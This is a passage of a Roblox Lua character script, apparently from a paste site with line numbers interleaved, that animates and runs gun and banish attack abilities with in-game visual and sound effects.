                RootJoint.C0=Clerp(RootJoint.C0,EULER(-1.57,0,3.14)*cf(0,0.15 + 0.02 * COS(SINE / 32),-0.1 + 0.05 * COS(SINE / 32))*ANGLES(RAD(-15 - 2 * COS(SINE / 32)),RAD(0),RAD(0)),.1)
3588
                Torso.Neck.C0=Clerp(Torso.Neck.C0,cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)*ANGLES(RAD(-25 - 2 * COS(SINE / 37)),RAD(0 + 1 * COS(SINE / 58)),RAD(0 + 2 * COS(SINE / 53))),.1)
3589
                RightShoulder.C0=Clerp(RightShoulder.C0,cf(1.35,1 + 0.025 * COS(SINE / 45),0)*ANGLES(RAD(165 + 5 * COS(SINE / 74)),RAD(1 - 3 * COS(SINE / 53)),RAD(-10 + 3 * COS(SINE / 45))),.1)
3590
                LeftShoulder.C0=Clerp(LeftShoulder.C0,cf(-1.35,1 + 0.025 * COS(SINE / 45),0)*ANGLES(RAD(165 - 3 * COS(SINE / 73)),RAD(2 - 1 * COS(SINE / 55)),RAD(13 - 3 * COS(SINE / 45))),.1)
3591
            end
3592
            for i = 1, 45 do
3593
                Swait()
3594
                RightHip.C0=Clerp(RightHip.C0,cf(1,-1 - 0.05 * COS(SINE / 32),0)*ANGLES(RAD(0),RAD(90),RAD(0))*ANGLES(RAD(-3),RAD(0 - 1 * COS(SINE / 56)),RAD(-15 - 2 * COS(SINE / 32))),.1)
3595
                LeftHip.C0=Clerp(LeftHip.C0,cf(-1,-1 - 0.05 * COS(SINE / 32),0)*ANGLES(RAD(0),RAD(-90),RAD(0))*ANGLES(RAD(-3),RAD(0 - 1 * COS(SINE / 56)),RAD(15 + 2 * COS(SINE / 32))),.1)
3596
                RootJoint.C0=Clerp(RootJoint.C0,EULER(-1.57,0,3.14)*cf(0,0.15 + 0.02 * COS(SINE / 32),-0.1 + 0.05 * COS(SINE / 32))*ANGLES(RAD(-15 - 2 * COS(SINE / 32)),RAD(0),RAD(0)),.1)
3597
                Torso.Neck.C0=Clerp(Torso.Neck.C0,cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)*ANGLES(RAD(-25 - 2 * COS(SINE / 37)),RAD(0 + 1 * COS(SINE / 58)),RAD(0 + 2 * COS(SINE / 53))),.1)
3598
                RightShoulder.C0=Clerp(RightShoulder.C0,cf(1.35,1 + 0.025 * COS(SINE / 45),0)*ANGLES(RAD(165 + 5 * COS(SINE / 74)),RAD(1 - 3 * COS(SINE / 53)),RAD(-10 + 3 * COS(SINE / 45))),.1)
3599
                LeftShoulder.C0=Clerp(LeftShoulder.C0,cf(-1.35,1 + 0.025 * COS(SINE / 45),0)*ANGLES(RAD(165 - 3 * COS(SINE / 73)),RAD(2 - 1 * COS(SINE / 55)),RAD(13 - 3 * COS(SINE / 45))),.1)
3600
            end
3601
            coroutine.resume(coroutine.create(function()
3602
                local IMPACT = true
3603
                local BULLET = ABSOLUTE
3604
                MakeForm(BULLET, "Ball")
3605
                BULLET.CFrame = CF(BULLET.Position, Mouse.Hit.p)
3606
                if IMPACT == false then
3607
                    for i = 1, 40 do
3608
                        Swait()
3609
                        BULLET.Size = BULLET.Size * 0.9
3610
                    end
3611
                    BULLET:remove()
3612
                else
3613
                    CreateSound("1127492102", BULLET, 10, MRANDOM(8, 13) / 10)
3614
                    CFuncs["EchoSound"].Create("rbxassetid://1690475123", Character, 1.5, 1,0,10,0.15,0.5,1)
3615
                    CFuncs["EchoSound"].Create("rbxassetid://1690475123", RootPart, 10, 1,0,10,0.15,0.5,1)
3616
                    warnedpeople("THIS IS IT!")
3617
                    CreateSound("438666001", BULLET, 10, 3)
3618
                    Swait(35)
3619
                    BULLET.Transparency = 1
3620
                    for i = 1, 20 do
3621
                        for e = 1, 5 do
3622
                            MagicSphere(VT(0.2, 0.2, 0.2), 50, CF(BULLET.CFrame * CF(MRANDOM(-5, 5), MRANDOM(-5, 5), MRANDOM(-5, 5)).p, BULLET.Position), MAINRUINCOLOR, VT(1, 1, i * 4), 0)
3623
                            SpliceSlice("Round", 0, 35, CF(BULLET.Position) * ANGLES(RAD(MRANDOM(-18, 18)), RAD(MRANDOM(-180, 180)), RAD(MRANDOM(-18, 18))), MAINRUINCOLOR.Color, VT(i, 0, i) / 3)
3624
                        end
3625
                        AddChildrenToTable(BULLET.Position, workspace, i * 25, HITBODIES)
3626
                        CreateSound("178452241", BULLET, 10, MRANDOM(8, 13) / 10)
3627
                        CreateSound("178452243", BULLET, 10, MRANDOM(8, 13) / 10)
3628
                        MagicSphere(BULLET.Size, 35, BULLET.CFrame, C3(MRANDOM(0, 10) / 10, MRANDOM(0, 10) / 10, 0), VT(i, i, i) * 2)
3629
                        Swait(5)
3630
                        killnearest(RootPart.Position,100,100,Torso.CFrame)
3631
                        CreateWave(VT(0, 2, 0), 75, CF(BULLET.Position), true, -15, MAINRUINCOLOR, VT(i, 0, i) * 2)
3632
                    end
3633
                    MagicSphere(BULLET.Size, 100, BULLET.CFrame, C3(0.4, 0.4, 0), VT(12, 12, 12))
3634
                    Debris:AddItem(BULLET, 10)
3635
                end
3636
            end))
3637
            ATTACK = false
3638
            Rooted = false
3639
        end
3640
    end
3641
end
3642
 
3643
function BanishBullet()
3644
    ATTACK = true
3645
    Rooted = true
3646
    if script["Mode"].Value ~= "Insane" then
3647
        KarmaGun2.Parent = Character
3648
        KarmaGun.Parent = nil
3649
        WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(5,5,5), Size2 = VT(0,0,0), Transparency = 0, Transparency2 = 1, CFrame =  Barrel.CFrame, ANGLES(RAD(0), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = 5, RotationZ = 0, Material = "Neon", Color = C3(1, 1, 1), SoundID = nil, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
3650
        for i=0, 0.4, 0.05 / Animation_Speed do
3651
            Swait()
3652
            turnto(Mouse.Hit.p)
3653
            RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 2 / Animation_Speed)
3654
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 2 / Animation_Speed)
3655
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(90), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 2 / Animation_Speed)
3656
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(180), RAD(0), RAD(20)) * LEFTSHOULDERC0, 2 / Animation_Speed)
3657
            RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3658
            LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3659
        end
3660
        repeat
3661
            for i=0, 0.1, 0.1 / Animation_Speed do
3662
                Swait()
3663
                turnto(Mouse.Hit.p)
3664
                RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 2 / Animation_Speed)
3665
                Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 2 / Animation_Speed)
3666
                RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(90), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 2 / Animation_Speed)
3667
                LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(180), RAD(0), RAD(20)) * LEFTSHOULDERC0, 2 / Animation_Speed)
3668
                RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3669
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3670
            end
3671
            local HIT,POS = CastProperRay(Hole2.Position, Mouse.Hit.p, 1000000, Character)
3672
            SpawnTrail(Hole2.Position,POS)
3673
            if HIT ~= nil then
3674
                if HIT.Parent ~= workspace and HIT.Parent.ClassName ~= "Folder" then
3675
                    Banish(HIT.Parent)
3676
                end
3677
            end
3678
            WACKYEFFECT({Time = 25, EffectType = "Wave", Size = VT(0.3,0,0.3), Size2 = VT(1,1.5,1), Transparency = 0, Transparency2 = 1, CFrame = Hole2.CFrame, MoveToPos = Hole2.CFrame*CF(0,0.5,0).p, RotationX = 0, RotationY = -15, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil})
3679
            WACKYEFFECT({Time = 25, EffectType = "Wave", Size = VT(0.3,0,0.3), Size2 = VT(2,0.5,2), Transparency = 0, Transparency2 = 1, CFrame = Hole2.CFrame, MoveToPos = nil, RotationX = 0, RotationY = 5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = 136523485, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 2})
3680
            WACKYEFFECT({Time = 25, EffectType = "Wave", Size = VT(0.3,0,0.3), Size2 = VT(2,0.5,2), Transparency = 0, Transparency2 = 1, CFrame = CF(POS,Hole2.Position) * ANGLES(RAD(-90), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = -5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
3681
            WACKYEFFECT({Time = 25, EffectType = "Wave", Size = VT(0.3,0,0.3), Size2 = VT(2,0.5,2), Transparency = 0, Transparency2 = 1, CFrame = CF(POS,Hole2.Position) * ANGLES(RAD(-90), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = 5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
3682
            Humanoid.CameraOffset = VT(MRANDOM(-5,5)/2.5,MRANDOM(-5,5)/2.5,MRANDOM(-5,5)/2.5)/30
3683
            for i=0, 0.3, 0.1 / Animation_Speed do
3684
                Swait()
3685
                RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 2 / Animation_Speed)
3686
                Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 2 / Animation_Speed)
3687
                RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(92), RAD(15), RAD(0)) * RIGHTSHOULDERC0, 2 / Animation_Speed)
3688
                LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(180), RAD(0), RAD(20)) * LEFTSHOULDERC0, 2 / Animation_Speed)
3689
                RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3690
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3691
            end
3692
        until KEYHOLD == false
3693
        KarmaGun2.Parent = nil
3694
        KarmaGun.Parent = Character
3695
        WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(5,5,5), Size2 = VT(0,0,0), Transparency = 0, Transparency2 = 1, CFrame =  Barrel.CFrame, ANGLES(RAD(0), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = 5, RotationZ = 0, Material = "Neon", Color = C3(1, 1, 1), SoundID = nil, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
3696
        WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(5,5,5), Size2 = VT(0,0,0), Transparency = 0, Transparency2 = 1, CFrame =  Barrel2.CFrame, ANGLES(RAD(0), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = 5, RotationZ = 0, Material = "Neon", Color = C3(1, 1, 1), SoundID = nil, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
3697
    elseif script["Mode"].Value == "Insane" then
3698
        local orip0 = LeftArmGrasp.Part0
3699
        LeftArmGrasp.Part0 = RightArm
3700
        for i=0, 0.4, 0.05 / Animation_Speed do
3701
            Swait()
3702
            turnto(Mouse.Hit.p)
3703
            RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(60)), 0.5 / Animation_Speed)
3704
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(-90)), 0.5 / Animation_Speed)
3705
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(90), RAD(0), RAD(60)) * RIGHTSHOULDERC0, 0.5 / Animation_Speed)
3706
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.6, -0.4) * ANGLES(RAD(0), RAD(0), RAD(-20)) * LEFTSHOULDERC0, 0.5 / Animation_Speed)
3707
            RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
3708
            LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
3709
        end
3710
        repeat
3711
            for i=0, 0.05, 0.05 / Animation_Speed do
3712
                Swait()
3713
                turnto(Mouse.Hit.p)
3714
                RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(60)), 0.5 / Animation_Speed)
3715
                Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(-60)), 0.5 / Animation_Speed)
3716
                RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(90), RAD(0), RAD(60)) * RIGHTSHOULDERC0, 0.5 / Animation_Speed)
3717
                LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.35, 0.6, -0.4) * ANGLES(RAD(170), RAD(0), RAD(20)) * LEFTSHOULDERC0, 0.5 / Animation_Speed)
3718
                RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
3719
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
3720
            end
3721
            local HIT,POS = CastProperRay(Hole2.Position, Mouse.Hit.p, 1000, Character)
3722
            SpawnTrail(Hole2.Position,POS)
3723
            if HIT ~= nil then
3724
                if HIT.Parent ~= workspace and HIT.Parent.ClassName ~= "Folder" then
3725
                    Banish(HIT.Parent)
3726
                end
3727
            end
3728
            WACKYEFFECT({Time = 25, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = Hole2.CFrame, MoveToPos = Hole2.CFrame*CF(0,0.5,0).p, RotationX = 0, RotationY = -15, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = 1, SoundVolume = 5})
3729
            WACKYEFFECT({Time = 25, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = Hole2.CFrame, MoveToPos = nil, RotationX = 0, RotationY = 5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = 136523485, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
3730
            WACKYEFFECT({Time = 25, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = CF(POS,Hole2.Position) * ANGLES(RAD(-90), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = -5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
3731
            WACKYEFFECT({Time = 25, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = CF(POS,Hole2.Position) * ANGLES(RAD(-90), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = 5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
3732
            Humanoid.CameraOffset = VT(MRANDOM(-5,5)/2.5,MRANDOM(-5,5)/2.5,MRANDOM(-5,5)/2.5)/30
3733
            for i=0, 0.3, 0.05 / Animation_Speed do
3734
                Swait()
3735
                RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(-5), RAD(0), RAD(60)), 0.5 / Animation_Speed)
3736
                Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(-60)), 0.25 / Animation_Speed)
3737
                RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(90), RAD(15), RAD(60)) * RIGHTSHOULDERC0, 0.5 / Animation_Speed)
3738
                LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.3, 0.6, -0.4) * ANGLES(RAD(172), RAD(0), RAD(20)) * LEFTSHOULDERC0, 0.5 / Animation_Speed)
3739
                RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
3740
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
3741
            end
3742
        until KEYHOLD == false
3743
        LeftArmGrasp.Part0 = orip0
3744
    end
3745
    ATTACK = false
3746
    Rooted = false
3747
end
3748
 
3749
function KarmaStrike()
3750
    ATTACK = true
3751
    Rooted = true
3752
    CreateSound(1368573150, RightArm, 3, 1.5)
3753
    for i=0, 2, 0.1 / Animation_Speed do
3754
        Swait()
3755
        WACKYEFFECT({TIME = 15, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = Hole2.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = 1, SoundVolume = 5})
3756
        RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(-30)), 0.15 / Animation_Speed)
3757
        Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3758
        RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(35), RAD(0), RAD(27)) * RIGHTSHOULDERC0, 0.15 / Animation_Speed)
3759
        LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 1, 0) * ANGLES(RAD(165), RAD(0), RAD(-12)) * LEFTSHOULDERC0, 0.15 / Animation_Speed)
3760
        RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3761
        LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3762
    end
3763
    local POWER = 1
3764
    repeat
3765
        Swait()
3766
        WACKYEFFECT({EffectType = "Slash", Size = VT(0,0,0), Size2 = VT(0.01*POWER,0,0.01*POWER), Transparency = 0, Transparency2 = 1, CFrame = Hole2.CFrame*CF(0,0,0) * ANGLES(RAD(MRANDOM(-90,90)), RAD(MRANDOM(-90,90)), RAD(MRANDOM(-90,90))), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = 1, SoundVolume = 0})
3767
        WACKYEFFECT({EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = Hole2.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = 1, SoundVolume = 5})
3768
        RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0.5, 0 + 0.05 * COS(SINE / 16)) * ANGLES(RAD(-25), RAD(0), RAD(-30)), 0.15 / Animation_Speed)
3769
        Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(10 - 2.5 * SIN(SINE / 32)), RAD(0), RAD(30 + 10 * COS(SINE / 14))), 0.15 / Animation_Speed)
3770
        RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(35 + 5 * COS(SINE / 21)), RAD(0), RAD(28 + 5 * COS(SINE / 19))) * RIGHTSHOULDERC0, 0.15 / Animation_Speed)
3771
        LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 1 - 0.1 * COS(SINE / 25), 0) * ANGLES(RAD(150 + 15 * COS(SINE / 53)), RAD(0), RAD(-15 + 5 * COS(SINE / 43))) * LEFTSHOULDERC0, 0.15 / Animation_Speed)
3772
        RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 16), -0.01) * ANGLES(RAD(-25), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3773
        LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.5 - 0.1 * COS(SINE / 33), -0.6) * ANGLES(RAD(-25), RAD(-90), RAD(0)) * ANGLES(RAD(-8 + 3 * COS(SINE / 30)), RAD(0), RAD(0 + 7 * COS(SINE / 64))), 0.15 / Animation_Speed)
3774
        POWER = POWER + 0.009
3775
        if POWER >= 6 then
3776
            POWER = 6
3777
        end
3778
    until KEYHOLD == false
3779
    BANISHAOE(Mouse.hit.Position,13*POWER,true)
3780
    WACKYEFFECT({Time = 60, EffectType = "Sphere", Size = VT(20*POWER,9999,20*POWER), Size2 = VT(0,9999,0), Transparency = 0.5, Transparency2 = 1, CFrame = CF(Mouse.Hit.p), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = 419011114, SoundPitch = 0.9, SoundVolume = 15})
3781
    WACKYEFFECT({Time = 60, EffectType = "Block", Size = VT(5*POWER,5*POWER,5*POWER), Size2 = VT(30*POWER,30*POWER,30*POWER), Transparency = 0, Transparency2 = 1, CFrame = CF(Mouse.Hit.p), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = 419011114, SoundPitch = 0.9, SoundVolume = 15})
3782
    for i=0, 1, 0.1 / Animation_Speed do
3783
        Swait()
3784
        WACKYEFFECT({EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = Hole2.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = 1, SoundVolume = 5})
3785
        RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.6 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(30), RAD(0), RAD(0)), 1 / Animation_Speed)
3786
        Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(45 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed)
3787
        RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(45), RAD(0), RAD(60)) * RIGHTSHOULDERC0, 1 / Animation_Speed)
3788
        LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(35), RAD(0), RAD(-12)) * LEFTSHOULDERC0, 1 / Animation_Speed)
3789
        RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(-20), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 1 / Animation_Speed)
3790
        LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.2 - 0.05 * COS(SINE / 12), -0.6) * ANGLES(RAD(30), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 1 / Animation_Speed)
3791
    end
3792
    ATTACK = false
3793
    Rooted = false
3794
end
3795
 
3796
function BulletRoller()
3797
    local HITFLOOR,HITPOS = Raycast(RootPart.Position, (CF(RootPart.Position, RootPart.Position + VT(0, -1, 0))).lookVector, 4, Character)
3798
    if HITFLOOR then
3799
        ATTACK = true
3800
        Rooted = true
3801
        local orip0 = nil
3802
        if script["Mode"].Value ~= "Insane" then
3803
            KarmaGun.Parent = nil
3804
            KarmaGun2.Parent = Character
3805
        elseif script["Mode"].Value == "Insane" then
3806
            orip0 = LeftArmGrasp.Part0
3807
            LeftArmGrasp.Part0 = RightArm
3808
        end
3809
        local bv = Instance.new("BodyVelocity")
3810
        bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
3811
        bv.velocity = CF(RootPart.Position,RootPart.CFrame*CF(0,1,-4).p).lookVector*175
3812
        bv.Parent = RootPart
3813
        local GYRO = IT("BodyGyro",RootPart)
3814
        GYRO.D = 2
3815
        GYRO.P = 20000
3816
        GYRO.MaxTorque = VT(0,4000000,0)
3817
        GYRO.CFrame = CF(RootPart.Position,RootPart.CFrame*CF(0,0,-5).p)
3818
        CreateSound(145486992,Torso,10,0.85,false)
3819
        for i=0, 0.05, 0.1 / Animation_Speed do
3820
            Swait()
3821
            RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(65), RAD(0), RAD(-10)), 1 / Animation_Speed)
3822
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-35), RAD(0), RAD(10)), 1 / Animation_Speed)
3823
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(50), RAD(-20), RAD(25)) * RIGHTSHOULDERC0, 1 / Animation_Speed)
3824
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(15), RAD(20), RAD(-25)) * LEFTSHOULDERC0, 1 / Animation_Speed)
3825
            if ANIM == "Fall" or ANIM == "Jump" then
3826
                RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.4, -0.6) * ANGLES(RAD(1), RAD(90), RAD(0)) * ANGLES(RAD(-1 * SIN(SINE / 6)), RAD(0), RAD(0)), 1 / Animation_Speed)
3827
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-85), RAD(0)) * ANGLES(RAD(-1 * SIN(SINE / 6)), RAD(0), RAD(0)), 1 / Animation_Speed)
3828
            else
3829
                RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(-5), RAD(80), RAD(0)) * ANGLES(RAD(-4), RAD(0), RAD(0)), 1 / Animation_Speed)
3830
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-70), RAD(0)) * ANGLES(RAD(-5), RAD(0), RAD(0)), 1 / Animation_Speed)
3831
            end
3832
        end
3833
        bv:Remove()
3834
        local E = 360/15
3835
        for i = 1, 15 do
3836
            Swait()
3837
